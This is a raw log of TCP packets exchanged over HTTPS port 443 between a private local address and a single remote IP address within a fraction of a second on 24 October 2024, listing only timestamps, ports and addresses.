Oct 24, 2024 00:26:43.596822023 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.597734928 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.597785950 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.599056959 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.601542950 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.601607084 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.601619005 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.603823900 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.603857040 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.604135990 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.604145050 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.604192019 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.606172085 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.608189106 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.608249903 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.608254910 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.610951900 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.611001015 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.611052990 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.611068010 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.611104012 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.612776041 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.614572048 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.614599943 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.614633083 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.614640951 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.614675045 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.616928101 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.617204905 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.617258072 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.617263079 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.621186018 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.621238947 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.621251106 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.627068996 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.627104998 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.627129078 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.627144098 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.627197027 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.633403063 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.635531902 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.635557890 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.635586977 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.635603905 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.635652065 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.636486053 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.639902115 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.639978886 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.639992952 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.644541979 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.644613981 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.644623995 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.648791075 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.648866892 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.648880959 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.653074980 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.653130054 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.653141022 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.658771038 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.658844948 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.658855915 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.662134886 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.662182093 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.662183046 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.662193060 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.662235022 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.664206982 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.667121887 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.667165041 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.667180061 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.667191029 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.667395115 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.667398930 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.670217037 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.670265913 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.670269012 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.672887087 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.673006058 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.673011065 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.676045895 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.676078081 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.676090002 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.676094055 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.676134109 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.676137924 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.678818941 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.678874969 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.678880930 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.682220936 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.682275057 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.682285070 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.684890032 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.684952974 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.684958935 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.689455032 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.689516068 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.689527988 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.689616919 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.689670086 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.689675093 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.691662073 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.691811085 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.691817045 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.692085981 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.692146063 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.692151070 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.695008993 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.695040941 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.695086956 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.695101023 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.695147038 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.698957920 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.699691057 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.699747086 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.699764013 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.702265978 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.702305079 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.702320099 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.702328920 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.702363968 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.704361916 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.706780910 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.706811905 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.706845045 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.706845045 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.706855059 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.706895113 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.706902981 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.706944942 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.711477041 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.711746931 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.711793900 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.711847067 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.711854935 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.711904049 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.713995934 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.716048956 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.716106892 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.716116905 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.717052937 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.717117071 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.717122078 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.718818903 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.718858957 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.718915939 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.718921900 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.718981028 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.721604109 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.723622084 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.723655939 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.723685026 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.723690987 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.723728895 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.727288961 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.728368044 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.728399992 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.728430986 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.728442907 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.728457928 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.728471994 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.729912996 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.729949951 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.729954004 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.732631922 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.732671976 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.732680082 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.732683897 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.732719898 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.734246016 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.738646030 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.738676071 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.738703966 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.738720894 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.738755941 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.744633913 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.750222921 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.750284910 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.750292063 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.750355005 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.750397921 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.750402927 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.752619028 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.752691031 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.752697945 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.757021904 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.757050991 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.757071972 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.757086992 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.757128954 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.757133961 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.772245884 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.772283077 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.772301912 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.772315979 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.772326946 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.772352934 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.772660971 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.772977114 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.772988081 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.775851011 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.775906086 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.775921106 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.779243946 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.779292107 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.779306889 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.783915997 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.783962011 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.783966064 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.783986092 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.784075022 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.784271955 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.788408995 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.788441896 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.788466930 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.788480043 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.788845062 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.788850069 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.789947033 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.789995909 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.790000916 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.793348074 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.793382883 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.793416023 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.793436050 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.793446064 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.793462992 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.793562889 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.793615103 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.793620110 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.796530962 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.796619892 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.796628952 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.799468040 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.799513102 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.799524069 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.802613974 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.802675009 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.802680969 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.807040930 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.807070971 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.807094097 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.807122946 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.807153940 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.807343960 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.808664083 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.808758974 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.808778048 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.809240103 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.809292078 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.809302092 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.812412024 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.812439919 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.812469006 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.812479019 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.812517881 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.814874887 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.817069054 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.817120075 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.817131996 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.819915056 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.819952965 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.819958925 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.819978952 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.820014954 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.821810961 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.823940039 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.823967934 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.824001074 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.824007034 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.824039936 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.824143887 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.826688051 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.826750040 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.826754093 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.826813936 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.826863050 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.826868057 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.829137087 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.829188108 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.829199076 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.831814051 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.831974030 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.831979990 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.833478928 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.833512068 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.833523989 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.833532095 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.833666086 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.835954905 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.836033106 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.836077929 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.836096048 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.836102009 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.836136103 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.838192940 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.840595007 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.840678930 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.840684891 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.842464924 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.842509985 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.842520952 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.845762968 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.845796108 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.845832109 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.845838070 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.845870972 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.845968962 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.847136974 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.847181082 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.847198963 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.847204924 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.847398043 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.849175930 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.851495028 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.851548910 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.851568937 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.855499983 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.855547905 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.855565071 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.861561060 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.861597061 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.861614943 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.861625910 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.861638069 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.861670971 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.867516994 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.867563009 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.867580891 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.869919062 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.869997025 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.870011091 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.874403954 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.874439955 CEST	443	49708	142.250.186.97	192.168.2.16
